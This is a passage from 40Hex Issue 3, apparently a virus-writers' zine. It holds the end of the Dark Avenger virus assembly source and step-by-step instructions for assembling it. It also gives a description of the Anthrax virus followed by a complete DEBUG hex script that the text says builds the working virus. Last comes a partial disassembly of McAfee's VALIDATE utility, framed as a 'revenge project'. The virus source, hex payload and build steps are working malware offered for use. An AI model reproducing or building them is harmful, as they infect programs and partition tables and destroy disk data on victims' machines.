  1035.         pop     dx
  1036.         pop     bx
  1037.         pop     ax
  1038.         pop     ds
  1039.         ret
  1040.  
  1041. ; Fetch the segment of the last MCB
  1042.  
  1043. get_chain:
  1044.         push    ax
  1045.         push    bx
  1046.         mov     ah,62h
  1047.         call    function
  1048.         mov     ax,cs
  1049.         dec     ax
  1050.         dec     bx
  1051. next_blk:
  1052.         mov     ds,bx
  1053.         stc
  1054.         adc     bx,ds:[3]
  1055.         cmp     bx,ax
  1056.         jc      next_blk
  1057.         pop     bx
  1058.         pop     ax
  1059.         ret
  1060.  
  1061. ; Multiply by 16
  1062.  
  1063. mul_hdr:
  1064.         mov     ax,word ptr [top_save+8]
  1065. mul_16:
  1066.         mov     dx,10h
  1067.         mul     dx
  1068.         ret
  1069.  
  1070.         db      'This program was written in the city of Sofia '
  1071.         db      '(C) 1988-89 Dark Avenger',0
  1072.  
  1073. ; INT 13h handler.
  1074. ; Calls the original vectors in BIOS, if it's a writing call
  1075.  
  1076. int_13:
  1077.         cmp     ah,3
  1078.         jnz     subfn_ok
  1079.         cmp     dl,80h
  1080.         jnc     hdisk
  1081.         db      0eah                    ;JMP XXXX:YYYY
  1082. my_size:                                ;--- Up to here comparison
  1083. disk:                                   ; with the original is made
  1084.         dd      0
  1085. hdisk:
  1086.         db      0eah                    ;JMP XXXX:YYYY
  1087. fdisk:
  1088.         dd      0
  1089. subfn_ok:
  1090.         db      0eah                    ;JMP XXXX:YYYY
  1091. save_int_13:
  1092.         dd      0
  1093. call_adr:
  1094.         dd      100h
  1095.  
  1096. stack_pointer:
  1097.         dd      0                       ;The original value of SS:SP
  1098. my_save:
  1099.         int     20h                     ;The original contents of the first
  1100.         nop                             ;3 bytes of the file
  1101. top_file:                               ;--- Up to here the code is written
  1102. filehndl    equ $                       ; in the files
  1103. filename    equ filehndl+2              ;Buffer for the name of the opened file
  1104. save_int_27 equ filename+65             ;Original INT 27h vector
  1105. save_int_21 equ save_int_27+4           ;Original INT 21h vector
  1106. aux_size    equ save_int_21+4           ;--- Up to here is moved into memory
  1107. top_save    equ save_int_21+4           ;Beginning of the buffer, which
  1108.                                         ;contains
  1109.                                         ; - The first 24 bytes read from file
  1110.                                         ; - File length (4 bytes)
  1111.                                         ; - The last bytes of the file
  1112.                                         ;   (my_size bytes)
  1113. top_bz      equ top_save-copyright
  1114. my_bz       equ my_size-copyright
  1115.  
  1116. code    ends
  1117.         end
  1118.  
  1119. ------------------------------------------------------------------------------
  1120.  
  1121.      A few notes on assembling this virus.
  1122.  
  1123.      It's a little bit tricky assembling the Dark Avenger Virus.  Use
  1124.      these steps below.  I use Turbo Assembler 2.0, but I'm positve that
  1125.      MASM will work just as well.
  1126.  
  1127.      1:
  1128.          TASM AVENGER.ASM
  1129.  
  1130.      2:
  1131.          TLINK AVENGER.OBJ
  1132.  
  1133.      3:
  1134.          EXE2BIN AVENGER AVENGER.COM
  1135.  
  1136.      Now make a 3 byte file named JUMP.TMP using DEBUG like this
  1137.  
  1138.      4:  DEBUG
  1139.  
  1140.          n jmp.tmp
  1141.          e 0100  E9 68 00
  1142.  
  1143.          rcx
  1144.          3
  1145.          w
  1146.          q
  1147.  
  1148.       5: Now do this COPY JMP.TMP + AVENGER.COM DAVENGER.COM
  1149.  
  1150.          There you have it....
  1151.  
  1152.                                                                      HR
  1153.  
  1154.  40Hex Issue 3                                                      0003
  1155.  
  1156.                                 Anthrax
  1157.  
  1158.     Well, this is turning out to be a tribute issue to the Dark
  1159.     Avenger.  Here is another one of his better known viruses.  This is
  1160.     a nice one cause it not only is a file infector, but it is also a
  1161.     sort of boot sector virus.  It is also what I dubbed a reincarnation
  1162.     virus, meaning that even if you clean your system of it, it may
  1163.     still live, because it leaves a copy of itself on the last sector of
  1164.     the disk.  The virus can be reincarnated by the V2100 virus, also bu
  1165.     The Dark Avenger.
  1166.  
  1167.     Well, Patti Hoffman (one of my favorite people on earth, not) wrote
  1168.     this virus up.
  1169.  
  1170.  Aliases:
  1171.  V Status:    Rare [Not for long]
  1172.  Discovery:   July, 1990
  1173.  Symptoms:    .COM & .EXE growth
  1174.  Origin:      Bulgaria
  1175.  Isolated:    Netherlands
  1176.  Eff Length:  1040 - 1279 Bytes
  1177.  Type Code:   PRAKX - Parasitic Resident .COM, .EXE, & Partition Table Infector
  1178.  Detection Method:  ViruScan V66+, Pro-Scan 2.01+, IBM Scan 2.00+
  1179.  Removal Instructions: Scan/D + MDisk/P, Pro-Scan 2.01+
  1180.  General Comments:
  1181.        The Anthrax Virus was isolated in July 1990 in the Netherlands after
  1182.        it was uploaded onto several BBSes in a trojan anti-viral program,
  1183.        USCAN.ZIP.  It is the second virus to be found in a copy of UScan
  1184.        during July 1990, the first virus being V2100.  Anthrax is a memory
  1185.        resident generic infector of .COM and .EXE files, including
  1186.        COMMAND.COM.
  1187.  
  1188.        The first time a program infected with the Anthrax virus is executed
  1189.        on the system's hard disk, the virus will infect the hard disk's
  1190.        partition table.  At this point, the virus is not memory resident.  It
  1191.        will also write a copy of itself on the last few sectors of the
  1192.        system's hard disk.  If data existed on those last few sectors of the
  1193.        hard disk, it will be destroyed.
  1194.  
  1195.        When the system is booted from the hard disk, the Anthrax virus
  1196.        will install itself memory resident.  It will remain memory resident
  1197.        until the first program is executed.  At that time, it will deinstall
  1198.        itself from being resident and infect one .COM or .EXE file.  This
  1199.        virus does not infect files in the current directory first, but
  1200.        instead starts to infect files at the lowest level of the disk's
  1201.        directory tree.
  1202.  
  1203.        Later, when an infected program is executed, Anthrax will infect one
  1204.        .COM or .EXE file, searching the directory structure from the lowest
  1205.        level of the directory tree.  If the executed infected program
  1206.        was located on the floppy drive, a .COM or .EXE file may or may not
  1207.        be infected.
  1208.  
  1209.        The Anthrax Virus's code is 1,024 bytes long, but infected programs
  1210.        will increase in length by 1,040 to 1,279 bytes.  On the author's test
  1211.        system, the largest increase in length experienced was 1,232 bytes.
  1212.        Infected files will always have an infected file length that is a
  1213.        multiple of 16.
  1214.  
  1215.        The following text strings can be found in files infected with the
  1216.        Anthrax virus:
  1217.  
  1218.                "(c)Damage, Inc."
  1219.                "ANTHRAX"
  1220.  
  1221.        A third text string occurs in the viral code, but it is in Cyrillics.
  1222.        Per Vesselin Bontchev, this third string translates to: "Sofia 1990".
  1223.  
  1224.        Since Anthrax infects the hard disk partition tables, infected systems
  1225.        must have the partition table disinfected or rebuilt in order to
  1226.        remove the virus.  This disinfection can be done with either a low-
  1227.        level format or use of the MDisk/P program for the correct DOS
  1228.        version after powering off and rebooting from a write-protected boot
  1229.        diskette for the system.  Any .COM or .EXE files infected with
  1230.        Anthrax must also be disinfected or erased.  Since a copy of the virus
  1231.        will exist on the last few sectors of the drive, these must also be
  1232.        located and overwritten.
  1233.  
  1234.        Anthrax interacts with another virus: V2100.  If a system which was
  1235.        previously infected with Anthrax should become infected with the V2100
  1236.        virus, the V2100 virus will check the last few sectors of the hard
  1237.        disk for the spare copy of Anthrax.  If the spare copy is found, then
  1238.        Anthrax will be copied to the hard disk's partition table.
  1239.  
  1240.        It is not known if Anthrax carries any destructive capabilities or
  1241.        trigger/activation dates.
  1242.  
  1243.  
  1244.  
  1245.  
  1246.        Here is the actual virus.  Well if this is your fist copy of
  1247.        40Hex, let me explain how to compile it.
  1248.  
  1249.        First copy what is below with your editor.  Then save it to a file
  1250.        called ANTHRAX.SCR.  Then type at the command line -
  1251.  
  1252.        DEBUG <ANTHRAX.SCR
  1253.  
  1254.        This will create a file called ANTHRAX.COM, that's the actual virus.
  1255.  
  1256. -------------------------------------------------------------------------------
  1257.  
  1258. n anthrax.com
  1259. e 0100  E9 38 03 00 00 00 00 00 00 00 00 00 00 00 00 00
  1260. e 0110  95 8C C8 2D 00 00 BA 00 00 50 52 1E 33 C9 8E D9
  1261. e 0120  BE 4C 00 B8 CD 00 8C CA 87 44 44 87 54 46 52 50
  1262. e 0130  C4 1C B4 13 CD 2F 06 53 B4 13 CD 2F 58 5A 87 04
  1263. e 0140  87 54 02 52 50 51 56 A0 3F 04 A8 0F 75 6C 0E 07
  1264. e 0150  BA 80 00 B1 03 BB 77 06 B8 01 02 50 CD 13 58 B1
  1265. e 0160  01 BB 00 04 CD 13 0E 1F BE 9B 03 8B FB B9 5E 00
  1266. e 0170  56 F3 A6 5E 8B FB B9 62 00 56 F3 A4 5F BE 12 08
  1267. e 0180  B9 65 00 F3 A4 74 1E 89 4D E9 B1 5C 89 4D 9B 88
  1268. e 0190  6D DC B1 02 33 DB B8 02 03 CD 13 49 BB 00 04 B8
  1269. e 01A0  01 03 CD 13 49 B4 19 CD 21 50 B2 02 B4 0E CD 21
  1270. e 01B0  B7 02 E8 87 01 5A B4 0E CD 21 5E 1F 8F 04 8F 44
  1271. e 01C0  02 8F 44 44 8F 44 46 1F 1E 07 95 CB 28 63 29 20
  1272. e 01D0  44 61 6D 61 67 65 2C 20 49 6E 63 2E 00 B0 03 CF
  1273. e 01E0  06 1E 57 56 50 33 C0 8E D8 BE 86 00 0E 07 BF 08
  1274. e 01F0  06 FD AD AB A5 AF 87 F7 AD FC 74 11 1E 07 AF B8
  1275. e 0200  07 01 AB 8C C8 AB 8E D8 BF 68 00 A5 A5 58 5E 5F
  1276. e 0210  1F 07 2E FF 2E 00 06 06 1E 57 56 52 51 53 50 0E
  1277. e 0220  1F BE 06 06 33 C9 8E C1 BF 84 00 A5 A5 B4 52 CD
  1278. e 0230  21 26 8B 47 FE 8E D8 BB 03 00 03 07 40 8E D8 81
  1279. e 0240  07 80 00 0E 07 B7 12 E8 F2 00 58 5B 59 5A 5E 5F
  1280. e 0250  1F 07 2E FF 2E 06 06 C3 91 AE B4 A8 BF 20 31 39
  1281. e 0260  39 30 B8 00 3D CD 21 72 EE 93 B8 20 12 CD 2F 53
  1282. e 0270  26 8A 1D B8 16 12 CD 2F 5B BE 62 04 8B D6 B1 18
  1283. e 0280  B4 3F CD 21 33 C1 75 70 06 1F C6 45 02 02 33 D2
  1284. e 0290  EC 3C 10 72 FB 03 45 11 13 55 13 24 F0 3D 00 FB
  1285. e 02A0  73 56 89 45 15 89 55 17 0E 1F 50 B1 10 F7 F1 2B
  1286. e 02B0  44 08 8B C8 2B 44 16 A3 04 00 AD 35 4D 5A 74 03
  1287. e 02C0  35 17 17 9C 75 17 89 04 3B 44 0A 87 44 12 A3 07
  1288. e 02D0  00 89 4C 14 B9 DC 04 74 07 83 44 08 48 B9 65 00
  1289. e 02E0  51 B9 9B 03 B4 40 CD 21 33 C8 59 75 09 BA 00 04
  1290. e 02F0  B4 40 CD 21 33 C8 5A 58 75 38 26 89 4D 15 26 89
  1291. e 0300  4D 17 52 9D 75 18 26 8B 45 11 26 8B 55 13 B5 02
  1292. e 0310  F7 F1 85 D2 74 01 40 89 14 89 44 02 EB 0A C6 44
  1293. e 0320  FE E9 05 28 03 89 44 FF B9 18 00 8D 54 FE B4 40
  1294. e 0330  CD 21 26 80 4D 06 40 B4 3E CD 21 C3 8E D9 8A 1E
  1295. e 0340  6C 04 0E 1F FF 06 5E 04 BA 4B 06 E8 1F 00 BE 0A
  1296. e 0350  06 C6 04 5C 46 32 D2 B4 47 CD 21 BA 9B 03 B4 3B
  1297. e 0360  CD 21 E3 0D B4 51 CD 21 8E DB BA 80 00 B4 1A EB
  1298. e 0370  C8 72 3E BE 9C 03 32 D2 B4 47 CD 21 3A 2E DC 03
  1299. e 0380  B1 32 BA 9D 02 B4 4E 74 5C CD 21 72 24 BA 4B 06
  1300. e 0390  B8 01 4F BE DC 03 BF 68 06 AA B1 0D F3 A6 74 45
  1301. e 03A0  3A 6D FE 74 40 CD 21 73 E4 32 C0 EB D3 2A 2E 2A
  1302. e 03B0  00 B1 41 BF 9C 03 3A 2D 8A C5 A2 DC 03 74 69 F2
  1303. e 03C0  AE 4F B1 41 B0 5C FD F2 AE 8D 75 02 BF DC 03 FC
  1304. e 03D0  AC 84 C0 AA 75 FA BA CD 02 32 C9 EB 81 2E 2E 00
  1305. e 03E0  BA 4B 06 B4 4F CD 21 72 C8 BE 69 06 BF DC 03 80
  1306. e 03F0  3C 2E 74 EC 88 2D 8B D6 F6 44 F7 10 75 DB AC 84
  1307. e 0400  C0 AA 75 FA 4E FD AD AD FC 3D 58 45 74 05 3D 4F
  1308. e 0410  4D 75 CD 53 E8 4B FE 5B 33 C9 8E C1 26 A0 6C 04
  1309. e 0420  0E 07 2A C3 3A C7 72 B8 BA 80 00 B1 03 BB 00 02
  1310. e 0430  B8 01 03 CD 13 BA 0A 06 E9 23 FF 95 BF 00 01 8B
  1311. e 0440  5D 01 81 EB 28 02 8B C7 8D B7 FD 03 A5 A4 93 B1
  1312. e 0450  04 D3 E8 8C D9 03 C1 BA 0B 00 EB 71 B8 D0 00 FC
  1313. e 0460  87 85 68 FA AB 8C C8 E2 F7 A3 86 00 AB 8E D8 B4
  1314. e 0470  08 CD 13 49 49 A1 E9 03 84 E4 74 01 91 B2 80 B8
  1315. e 0480  03 03 CD 13 91 84 E4 75 02 2C 40 FE CC A3 E9 03
  1316. e 0490  FF 06 60 04 32 F6 B9 01 00 BB 00 04 B8 01 03 CD
  1317. e 04A0  13 8A D6 CB 41 4E 54 48 52 41 58 0E 1F 83 2E 13
  1318. e 04B0  04 02 CD 12 B1 06 D3 E0 8E C0 BF 00 04 BE 00 7C
  1319. e 04C0  B9 00 01 8B DE FC F3 A5 8E D8 BA 27 04 51 53 50
  1320. e 04D0  52 CB 8E C1 B1 04 BE B0 05 83 C6 0E AD 3C 80 74
  1321. e 04E0  04 E2 F6 CD 18 92 FD AD 91 B8 01 02 CD 13 81 3E
  1322. e 04F0  FE 05 55 AA 75 ED 06 1E 07 1F 32 F6 B9 02 00 33
  1323. e 0500  DB B8 02 02 CD 13 E9 EE FE 00 00 00 00 CD 20 CC
  1324. e 0510  1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A
  1325. e 0520  1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A
  1326. e 0530  1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A
  1327. e 0540  1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A
  1328. e 0550  1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A
  1329. e 0560  1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A
  1330. e 0570  1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A
  1331.  
  1332. rcx
  1333. 480
  1334. w
  1335. q
  1336.  
  1337. -------------------------------------------------------------------------------
  1338.                                                                      HR
  1339.  
  1340.  
  1341.  40Hex Issue 3                                                      0004
  1342.  
  1343.                       The Strange Case of Validate
  1344.  
  1345.      - Fall to your knees, begging your way out of this disease.
  1346.  
  1347.      Well we all know what a dick John Mcafee is.  Well with his product
  1348.      SCAN comes a program VALIDATE.  I noticed when I took a close look
  1349.      at the internal workings of this program (while working on a little
  1350.      revenge project) that there is text in the program.  The strings
  1351.      read
  1352.  
  1353.      "Enter password now"
  1354.      "Access denied"
  1355.  
  1356.      Well this got me going, what is this??? Well this brings up our
  1357.      first 40Hex challenge.  I am including a dissassembly of validate.
  1358.      Here it is:
  1359.  
  1360. -------------------------------------------------------------------------------
  1361.  
  1362. data_1e         equ     100h
  1363. data_2e         equ     102h
  1364. data_3e         equ     2Ch
  1365. data_4e         equ     14h
  1366. data_5e         equ     16h
  1367. data_6e         equ     18h
  1368. data_7e         equ     1Ah
  1369. data_8e         equ     47h
  1370. data_9e         equ     49h
  1371. data_10e        equ     4Ah
  1372. data_11e        equ     59h
  1373.   
  1374. seg_a           segment byte public
  1375.                 assume  cs:seg_a, ds:seg_a
  1376.   
  1377.   
  1378.                 org     100h
  1379.   
  1380. validate        proc    far
  1381.   
  1382. start:
  1383.                 jmp     loc_96
  1384.                 db      0Dh, '   ', 0Dh, 0Ah, 'VALIDATE 0'
  1385.                 db      '.3 '
  1386. copyright       db      'Copyright 1988-89 by McAfee Asso'
  1387.                 db      'ciates.'
  1388.                 db      '  (408) 988-3832', 0Dh, 0Ah, 0Dh
  1389.                 db      0Ah, 'Written by Dennis Yelle', 0Dh
  1390.                 db      0Ah, 0Dh, 0Ah
  1391.                 db      1Ah
  1392. data_19         db      30h                                     dexed access)
  1393.                 db      '123456789ABCDEF'
  1394.                 db      10h, 0Fh, 0Dh, 8, 6, 3
  1395.                 db      1, 0, 0C8h, 10h, 0Ch, 5
  1396.                 db      0, 0C8h, 10h, 0Fh, 2, 0
  1397.                 db      0C8h, 10h, 0Fh, 0Eh, 7, 6
  1398.                 db      0, 0C8h, 10h, 0Fh, 0Dh, 0
  1399.                 db      0C8h
  1400. loc_1:
  1401.                 mov     al,1
  1402.                 mov     ah,4Ch
  1403.                 int     21h
  1404.                 db      0CDh, 20h
  1405. loc_2:
  1406.                 jmp     short loc_2
  1407.   
  1408. validate        endp
  1409.   
  1410. sub_1           proc    near
  1411.                 mov     dx,si
  1412. loc_3:
  1413.                 lodsb
  1414.                 cmp     al,1
  1415.                 ja      loc_3
  1416.                 pushf
  1417.                 mov     cx,si
  1418.                 sub     cx,dx
  1419.                 dec     cx
  1420.                 mov     ah,40h
  1421.                 mov     bx,1
  1422.                 int     21h
  1423.                 popf
  1424.                 jz      loc_1
  1425.                 retn
  1426. sub_1           endp
  1427.   
  1428. sub_2           proc    near
  1429.                 mov     bp,sp
  1430.                 xchg    si,[bp]
  1431.                 call    sub_1
  1432.                 xchg    si,[bp]
  1433.                 retn
  1434. sub_2           endp
  1435.   
  1436.                 db      0B4h, 40h, 0BBh, 2, 0, 0B9h
  1437.                 db      48h, 0, 0BAh, 9, 1, 0CDh
  1438.                 db      21h, 0A1h, 2, 0, 8Ch, 0CBh
  1439.                 db      29h, 0D8h, 3Dh, 0, 10h, 77h
  1440.                 db      52h, 0E8h, 0D8h, 0FFh
  1441.                 db      0Dh, 0Ah, ' Sorry, there is not e'
  1442.                 db      'nough memory available.', 0Dh, 0Ah
  1443.                 db      ' I need 66000 bytes of RAM.', 0Dh
  1444.                 db      0Ah
  1445.                 db      1, 0BEh, 80h, 0, 0ACh, 0Ah
  1446.                 db      0C0h
  1447.                 db      74h, 9
  1448. loc_4:
  1449.                 lodsb
  1450.                 cmp     al,20h
  1451.                 je      loc_4
  1452.                 cmp     al,0Dh
  1453.                 jne     loc_6
  1454. loc_5:
  1455.                 jmp     loc_10
  1456. loc_6:
  1457.                 dec     si
  1458.                 mov     data_33,si
  1459.                 push    si
  1460.                 mov     si,197h
  1461.                 call    sub_9
  1462.                 mov     di,666h
  1463.                 call    sub_10
  1464.                 mov     si,186h
  1465.                 call    sub_9
  1466.                 mov     di,866h
  1467.                 call    sub_10
  1468.                 call    sub_2
  1469.                 and     [bx+si],ah
  1470.                 and     [bx+si],ah
  1471.                 and     [bx+si],ah
  1472.                 and     [bx+si],ah
  1473.                 and     [bx+si],ah
  1474.                 inc     si
  1475.                 db      'ile Name:  '
  1476.                 db      0, 5Eh
  1477. loc_7:
  1478.                 lodsb
  1479.                 cmp     al,20h
  1480.                 jg      loc_7
  1481.                 push    ax
  1482.                 xor     al,al
  1483.                 mov     [si-1],al
  1484.                 mov     bx,1
  1485.                 mov     cx,si
  1486.                 dec     cx
  1487.                 mov     dx,data_33
  1488.                 sub     cx,dx
  1489.                 mov     ah,40h
  1490.                 int     21h
  1491.                 push    si
  1492.                 call    sub_8
  1493.                 mov     dx,data_33
  1494.                 mov     ax,3D00h
  1495.                 int     21h
  1496.                 jc      loc_11
  1497.                 mov     data_32,ax
  1498. ;*              call    sub_3
  1499.                 db      0E8h, 0B8h, 0
  1500.                 mov     ah,3Eh
  1501.                 mov     bx,data_32
  1502.                 int     21h
  1503.                 pop     si
  1504.                 pop     ax
  1505.                 cmp     al,0Dh
  1506.                 je      loc_9
  1507. loc_8:
  1508.                 lodsb
  1509.                 cmp     al,20h
  1510.                 je      loc_8
  1511.                 cmp     al,0Dh
  1512.                 je      loc_9
  1513.                 call    sub_8
  1514.                 jmp     loc_6
  1515. loc_9:
  1516.                 mov     ax,4C00h
  1517.                 int     21h
  1518. loc_10:
  1519.                 mov     dx,2E6h
  1520.                 mov     cx,84h
  1521.                 jmp     loc_17
  1522. loc_11:
  1523.                 mov     dx,5FBh
  1524.                 mov     cx,29h
  1525.                 jmp     loc_17
  1526.                 db      'This program prints the validati'
  1527.                 db      'on information for a file.', 0Dh
  1528.                 db      0Ah, 'Examples:', 0Dh, 0Ah, '    '
  1529.                 db      '      VALIDATE SCAN.EXE', 0Dh, 0Ah
  1530.                 db      '          VALIDATE SCANRES.EXE', 0Dh
  1531.                 db      0Ah
  1532.   
  1533. sub_3           proc    near
  1534.                 xor     ax,ax
  1535.                 mov     data_34,ax
  1536.                 mov     data_35,ax
  1537. loc_12:
  1538.                 mov     bx,data_32
  1539.                 mov     dx,0A66h
  1540.                 mov     cx,8000h
  1541.                 mov     ah,3Fh
  1542.                 int     21h
  1543.                 jnc     loc_13
  1544.                 jmp     loc_16
  1545. loc_13:
  1546.                 or      ax,ax
  1547.                 jz      loc_14
  1548.                 mov     dx,ax
  1549.                 push    dx
  1550.                 mov     si,0A66h
  1551.                 mov     di,666h
  1552.                 mov     cx,data_34
  1553.                 call    sub_11
  1554.                 mov     data_34,cx
  1555.                 pop     dx
  1556.                 mov     si,0A66h
  1557.                 mov     di,866h
  1558.                 mov     cx,data_35
  1559.                 call    sub_11
  1560.                 mov     data_35,cx
  1561.                 jmp     short loc_12
  1562. loc_14:
  1563.                 call    sub_2
  1564.                 and     [bx+si],ah
  1565.                 and     [bx+si],ah
  1566.                 and     [bx+si],ah
  1567.                 and     [bx+si],ah
  1568.                 and     [bx+si],ah
  1569.                 and     [bx+si],ah
  1570.                 and     [bx+si],ah
  1571.                 and     [bp+di+69h],dl
  1572.                 jp      $+67h
  1573.                 cmp     ah,[bx+si]
  1574.                 and     [bx+si],al
  1575.                 mov     ax,4202h
  1576.                 mov     bx,data_32
  1577.                 xor     cx,cx
  1578.                 xor     dx,dx
  1579.                 int     21h
  1580.                 jnc     $+0Fh
  1581.                 call    sub_2
  1582.                 jnz     $+70h
  1583.                 db      6Bh, 6Eh, 6Fh, 77h, 6Eh, 0
  1584.                 db      0EBh, 3, 0E8h, 59h, 1, 0E8h
  1585.                 db      0D1h, 0FDh
  1586.                 db      0Dh, 0Ah, '               Date:  '
  1587.                 db      0, 0B8h, 0, 57h, 8Bh, 1Eh
  1588.                 db      4Eh, 6, 0CDh, 21h, 73h, 8
  1589.                 db      0BEh, 0DDh, 3, 0E8h, 8Fh, 0FDh
  1590.                 db      0EBh, 26h, 52h, 8Bh, 0C2h, 0B1h
  1591.                 db      5, 0D3h, 0E8h, 25h, 0Fh, 0
  1592.                 db      0E8h, 70h, 1, 0E8h, 98h, 0
  1593.                 db      58h, 50h, 25h, 1Fh, 0, 0E8h
  1594.                 db      65h, 1, 0E8h, 8Dh, 0, 58h
  1595.                 db      0B1h, 9, 0D3h, 0E8h, 5, 0BCh
  1596.                 db      7, 0E8h, 57h, 1, 0E8h, 7Ch
  1597.                 db      0FDh
  1598.                 db      0Dh, 0Ah, 'File Authentication:', 0Dh
  1599.                 db      0Ah, '     Check Method 1 - '
  1600.                 db      0, 8Bh, 0Eh, 52h, 6, 0E8h
  1601.                 db      27h, 0, 0E8h, 43h, 0FDh
  1602.                 db      0Dh, 0Ah, '     Check Method 2 - '
  1603.                 db      0, 8Bh, 0Eh, 54h, 6, 0E8h
  1604.                 db      4, 0, 0E8h, 27h, 0, 0C3h
  1605.                 db      51h, 89h, 0C8h, 88h, 0E0h, 0E8h
  1606.                 db      1, 0
  1607.                 db      58h
  1608.   
  1609.   
  1610. sub_4:
  1611.                 mov     bx,ax
  1612.                 mov     cl,4
  1613.                 shr     bx,cl
  1614.                 call    sub_5
  1615.                 mov     bx,ax
  1616.   
  1617.   
  1618. sub_5:
  1619.                 and     bx,0Fh
  1620.                 mov     dl,data_19[bx]
  1621.   
  1622.   
  1623. sub_6:
  1624. loc_15:
  1625.                 push    ax
  1626.                 mov     ah,2
  1627.                 int     21h
  1628.                 pop     ax
  1629.                 retn
  1630.   
  1631.   
  1632. sub_7:
  1633.                 mov     dl,2Dh
  1634.                 jmp     short loc_15
  1635.   
  1636.   
  1637. sub_8:
  1638.                 mov     dl,0Dh
  1639.                 call    sub_6
  1640.                 mov     dl,0Ah
  1641.                 jmp     short loc_15
  1642. loc_16:
  1643.                 mov     dx,624h
  1644.                 mov     cx,29h
  1645. loc_17:
  1646.                 mov     bx,2
  1647.                 push    ax
  1648.                 mov     ah,40h
  1649.                 int     21h
  1650.                 jc      loc_18
  1651.                 pop     ax
  1652. loc_18:
  1653.                 mov     ah,4Ch
  1654.                 int     21h
  1655. sub_3           endp
  1656.   
  1657.   
  1658.   
  1659. sub_9           proc    near
  1660.                 xor     bx,bx
  1661.                 xor     cx,cx
  1662.                 inc     si
  1663.                 lodsb
  1664. loc_19:
  1665.                 mov     cl,al
  1666.                 mov     ax,1
  1667.                 shl     ax,cl
  1668.                 or      bx,ax
  1669.                 lodsb
  1670.                 cmp     al,0C8h
  1671.                 jb      loc_19
  1672.                 mov     cl,8
  1673.                 mov     di,656h
  1674.                 mov     ax,bx
  1675. loc_20:
  1676.                 stosw
  1677.                 shr     ax,1
  1678.                 jnc     loc_21
  1679.                 xor     ax,bx
  1680. loc_21:
  1681.                 dec     cl
  1682.                 jnz     loc_20
  1683.                 retn
  1684. sub_9           endp
  1685.   
  1686.   
  1687. sub_10          proc    near
  1688.                 mov     si,656h
  1689.                 xor     dx,dx
  1690. loc_22:
  1691.                 mov     cx,dx
  1692.                 mov     bx,si
  1693.                 xor     ax,ax
  1694. loc_23:
  1695.                 shl     cl,1
  1696.                 jnc     loc_24
  1697.                 xor     ax,[bx]
  1698. loc_24:
  1699.                 add     bx,2
  1700.                 or      cl,cl
  1701.                 jnz     loc_23
  1702.                 stosw
  1703.                 inc     dl
  1704.                 jnz     loc_22
  1705.                 retn
  1706. sub_10          endp
  1707.   
  1708. sub_11          proc    near
  1709. loc_25:
  1710.                 lodsb
  1711.                 mov     bl,cl
  1712.                 xor     bl,al
  1713.                 xor     bh,bh
  1714.                 mov     cl,ch
  1715.                 mov     ch,0
  1716.                 add     bx,bx
  1717.                 xor     cx,[bx+di]
  1718.                 dec     dx
  1719.                 jnz     loc_25
  1720.                 retn
  1721. sub_11          endp
  1722.   
  1723. data_27         dw      4240h
  1724. data_28         dw      0Fh
  1725. data_29         dw      3E8h
  1726. data_30         dw      0Ah
  1727.   
  1728.   
  1729. sub_12          proc    near
  1730.                 cmp     dx,data_28
  1731.                 jb      loc_32
  1732.                 ja      loc_26
  1733.                 cmp     ax,data_27
  1734.                 jb      loc_32
  1735. loc_26:
  1736.                 mov     bx,data_27
  1737.                 mov     cx,data_28
  1738.                 xor     si,si
  1739. loc_27:
  1740.                 inc     si
  1741.                 shl     bx,1
  1742.                 rcl     cx,1
  1743.                 jno     loc_27
  1744.                 xor     di,di
  1745. loc_28:
  1746.                 shl     di,1
  1747.                 cmp     dx,cx
  1748.                 jb      loc_30
  1749.                 ja      loc_29
  1750.                 cmp     ax,bx
  1751.                 jb      loc_30
  1752. loc_29:
  1753.                 sub     ax,bx
  1754.                 sbb     dx,cx
  1755.                 inc     di
  1756. loc_30:
  1757.                 shr     cx,1
  1758.                 rcr     bx,1
  1759.                 dec     si
  1760.                 jge     loc_28
  1761.                 push    dx
  1762.                 push    ax
  1763.                 mov     ax,di
  1764.                 xor     dx,dx
  1765.                 call    sub_14
  1766.                 mov     al,2Ch
  1767.                 call    sub_19
  1768.                 pop     ax
  1769.                 pop     dx
  1770.                 div     data_29
  1771.                 push    dx
  1772.                 call    sub_15
  1773.                 jmp     short loc_33
  1774.   
  1775.   
  1776. sub_13:
  1777.                 xor     dx,dx
  1778.                 cmp     ax,2710h
  1779.                 jae     loc_32
  1780.                 cmp     ax,3E8h
  1781.                 jb      loc_32
  1782.                 div     data_29
  1783.                 or      ax,ax
  1784.                 push    dx
  1785.                 jz      loc_31
  1786.                 call    sub_16
  1787. loc_31:
  1788.                 pop     ax
  1789.                 jmp     short loc_34
  1790.   
  1791.   
  1792. sub_14:
  1793. loc_32:
  1794.                 div     data_29
  1795.                 push    dx
  1796.                 or      ax,ax
  1797.                 jz      loc_31
  1798.                 call    sub_16
  1799. loc_33:
  1800.                 mov     al,2Ch
  1801.                 call    sub_19
  1802.                 pop     ax
  1803.   
  1804.   
  1805. sub_15:
  1806.                 xor     dx,dx
  1807.                 div     data_30
  1808.                 jmp     loc_35
  1809.                 db      88h, 0E0h, 32h, 0E4h
  1810.   
  1811.   
  1812. sub_16:
  1813. loc_34:
  1814.                 cmp     ax,0Ah
  1815.                 jb      loc_37
  1816.                 xor     dx,dx
  1817.                 div     data_30
  1818.                 cmp     al,0Ah
  1819.                 jb      loc_36
  1820. loc_35:
  1821.                 push    dx
  1822.                 xor     dx,dx
  1823.                 div     data_30
  1824.                 call    sub_17
  1825.                 pop     ax
  1826.                 jmp     loc_37
  1827.   
  1828.   
  1829. sub_17:
  1830. loc_36:
  1831.                 push    dx
  1832.                 call    sub_18
  1833.                 pop     ax
  1834.   
  1835.   
  1836. sub_18:
  1837. loc_37:
  1838.                 add     al,30h
  1839.   
  1840.   
  1841. sub_19:
  1842.                 mov     ah,2
  1843.                 mov     dl,al
  1844.                 int     21h
  1845.                 retn
  1846. sub_12          endp
  1847.   
  1848.                 db      0Dh, 0Ah, ' Sorry, I cannot open '
